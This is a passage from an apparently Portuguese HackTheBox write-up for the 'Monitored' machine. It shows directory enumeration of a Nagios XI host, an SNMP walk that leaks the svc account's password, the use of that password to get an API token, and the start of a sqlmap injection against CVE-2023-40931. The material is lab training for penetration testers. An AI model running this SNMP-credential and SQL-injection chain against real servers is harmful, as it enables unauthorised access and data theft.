/reports              &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 327] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/reports/]
/rr.php               &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; login.php]
/sounds               &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/suggest.php          &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 27]
/terminal             &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 5215]
/tools                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 325] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/tools/]
/upgrade.php          &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; index.php]
/views                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 325] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/views/]
Progress: 61407 / 61410 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos alguns endpoints interessantes, como o &lt;strong&gt;/terminal&lt;/strong&gt; que é um terminal via navegador conhecido como &lt;a href="https://github.com/shellinabox/shellinabox" rel="noopener noreferrer"&gt;shell in a box&lt;/a&gt;, mas ele precisa de usuário e senha para acesso.&lt;br&gt;
O mesmo se aplica ao endpoint &lt;strong&gt;/api,&lt;/strong&gt; que como o nome sugere é responsável pela api do nagios xi. Também é necessário ter autenticação.&lt;/p&gt;

&lt;p&gt;Vamos utilizar o gobuster novamente, mas desta vez diretamente no subdomínio:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt &lt;span class="nt"&gt;-u&lt;/span&gt; https://nagios.monitored.htb/ &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-x&lt;/span&gt; .php,.txt 
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.4
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:                     https://nagios.monitored.htb/
&lt;span class="o"&gt;[&lt;/span&gt;+] Method:                  GET
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                /usr/share/wordlists/dirb/big.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Negative Status codes:   404
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.4
&lt;span class="o"&gt;[&lt;/span&gt;+] Extensions:              php,txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2024/01/13 16:30:51 Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;directory enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.htaccess            &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htaccess.txt        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htpasswd.php        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htpasswd            &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htpasswd.txt        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htaccess.php        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/cgi-bin/             &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/cgi-bin/.php         &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/index.php            &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 3245]
/javascript           &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 321] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://10.129.15.145/javascript/]
/nagios               &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 461]
/server-status        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
Progress: 61403 / 61410 &lt;span class="o"&gt;(&lt;/span&gt;99.99%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos outros endpoints interessantes, como o &lt;strong&gt;/nagios&lt;/strong&gt;, que possui uma autenticação via Basic Auth, no qual o navegador nos da um pop up solicitando os dados de acesso.&lt;/p&gt;

&lt;p&gt;Como possui um ldap podemos executar um recon com &lt;strong&gt;snmpwalk&lt;/strong&gt; para coletar dados &lt;strong&gt;SNMP&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# snmpwalk &lt;span class="nt"&gt;-v1&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public nagios.monitored.htb | &lt;span class="nb"&gt;grep &lt;/span&gt;STRING
...
iso.3.6.1.2.1.25.4.2.1.4.966 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/local/nagios/bin/nagios"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.967 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/local/nagios/bin/nagios"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.968 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/local/nagios/bin/nagios"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.969 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/local/nagios/bin/nagios"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.970 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/local/nagios/bin/nagios"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.1351 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/local/nagios/bin/nagios"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.1362 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"sudo"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.1363 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/bin/bash"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.1403 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/exim4"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.6830 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.7994 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.10341 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.10410 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.10412 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.10413 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.10739 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.10814 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.10991 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11088 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11096 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11216 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11249 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11338 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11340 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11458 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11459 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11464 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11556 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"sleep"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11572 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/CRON"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11575 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11576 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/bin/php"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11578 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/apache2"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.4.11587 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/exim4"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.467 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"--config /etc/laurel/config.toml"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.532 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-f"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.533 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.537 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-n -iNONE"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.540 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-u -s -O /run/wpa_supplicant"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.544 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-f"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.562 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.640 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.729 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-f /usr/local/nagios/etc/pnp/npcd.cfg"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.735 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-LOw -f -p /run/snmptrapd.pid"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.750 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.757 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-o -p -- &lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;u --noclear tty1 linux"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.760 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-p /var/run/ntpd.pid -g -u 108:116"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.793 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.794 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.800 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-D /var/lib/postgresql/13/main -c config_file=/etc/postgresql/13/main/postgresql.conf"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.840 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.846 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-h ldap:/// ldapi:/// -g openldap -u openldap -F /etc/ldap/slapd.d"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.934 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.952 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/snmptt --daemon"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.954 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"/usr/sbin/snmptt --daemon"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.966 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-d /usr/local/nagios/etc/nagios.cfg"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.967 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"--worker /usr/local/nagios/var/rw/nagios.qh"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.968 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"--worker /usr/local/nagios/var/rw/nagios.qh"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.969 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"--worker /usr/local/nagios/var/rw/nagios.qh"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.970 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"--worker /usr/local/nagios/var/rw/nagios.qh"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.1351 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-d /usr/local/nagios/etc/nagios.cfg"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.1362 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.1363 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.1403 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-bd -q30m"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.6830 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.7994 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.10410 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.10412 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.10413 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.10739 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.10991 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11088 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11096 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11216 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11249 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11338 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11458 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11464 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11578 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11612 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11650 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11654 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11655 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11657 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-k start"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11689 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"60"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11697 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-f"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11698 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-c /usr/bin/php -q /usr/local/nagiosxi/cron/cmdsubsys.php &amp;gt;&amp;gt; /usr/local/nagiosxi/var/cmdsubsys.log 2&amp;gt;&amp;amp;1"&lt;/span&gt;
iso.3.6.1.2.1.25.4.2.1.5.11699 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"-q /usr/local/nagiosxi/cron/cmdsubsys.php"&lt;/span&gt;
iso.3.6.1.2.1.25.6.3.1.2.1 &lt;span class="o"&gt;=&lt;/span&gt; STRING: &lt;span class="s2"&gt;"adduser_3.118+deb11u1_all"&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como a saída do snmpwalk é muito grande foi filtrado por STRING e temos um usuário e senha:&lt;br&gt;
&lt;strong&gt;svc:XjH7VCehowpR1xZB&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Com esse user não conseguimos acessar via ssh nem o endpoint &lt;strong&gt;/nagiosxi&lt;/strong&gt;, no entanto, conseguimos em nagios.monitored.htb/nagios.&lt;/p&gt;

&lt;p&gt;Analisando as docs do nagios xi (que é bem limitada) encontramos um endpoint no &lt;strong&gt;nagiosxi&lt;/strong&gt; chamado &lt;strong&gt;/api/v1/authenticate&lt;/strong&gt; que é utilizado para gerar um token de autenticação:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-XPOST&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=svc&amp;amp;password=XjH7VCehowpR1xZB&amp;amp;valid_min=1000'&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/api/v1/authenticate    
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"username"&lt;/span&gt;:&lt;span class="s2"&gt;"svc"&lt;/span&gt;,&lt;span class="s2"&gt;"user_id"&lt;/span&gt;:&lt;span class="s2"&gt;"2"&lt;/span&gt;,&lt;span class="s2"&gt;"auth_token"&lt;/span&gt;:&lt;span class="s2"&gt;"c035f0bb3bbb9f6230d99675fdbf21941386e525"&lt;/span&gt;,&lt;span class="s2"&gt;"valid_min"&lt;/span&gt;:1000,&lt;span class="s2"&gt;"valid_until"&lt;/span&gt;:&lt;span class="s2"&gt;"Mon, 15 Jan 2024 06:59:41 -0500"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos gerar um token, no qual utilizamos para acessar a api do nagioxi.&lt;br&gt;
O nagioxi por sua vez possui diversas vulnerabilidades recentes, dentre elas a &lt;a href="https://www.cvedetails.com/cve/CVE-2023-40931/" rel="noopener noreferrer"&gt;CVE-2023-40931&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Que através da api podemos utilizar o sqlmap para explora-la:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&amp;amp;id=3&amp;amp;token=c035f0bb3bbb9f6230d99675fdbf21941386e525"&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;--tables&lt;/span&gt;                                  
        ___
       __H__                                                                                                                                     
 ___ ___[&lt;span class="s2"&gt;"]_____ ___ ___  {1.7.9.2#dev}                                                                                                          
|_ -| . ["&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;     | .&lt;span class="s1"&gt;'| . |                                                                                                                        
|___|_  ["]_|_|_|__,|  _|                                                                                                                        
      |_|V...       |_|   https://sqlmap.org
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[14:34:01] [INFO] testing '&lt;/span&gt;Generic UNION query &lt;span class="o"&gt;(&lt;/span&gt;NULL&lt;span class="o"&gt;)&lt;/span&gt; - 1 to 10 columns&lt;span class="s1"&gt;'
[14:34:05] [WARNING] GET parameter '&lt;/span&gt;action&lt;span class="s1"&gt;' does not seem to be injectable
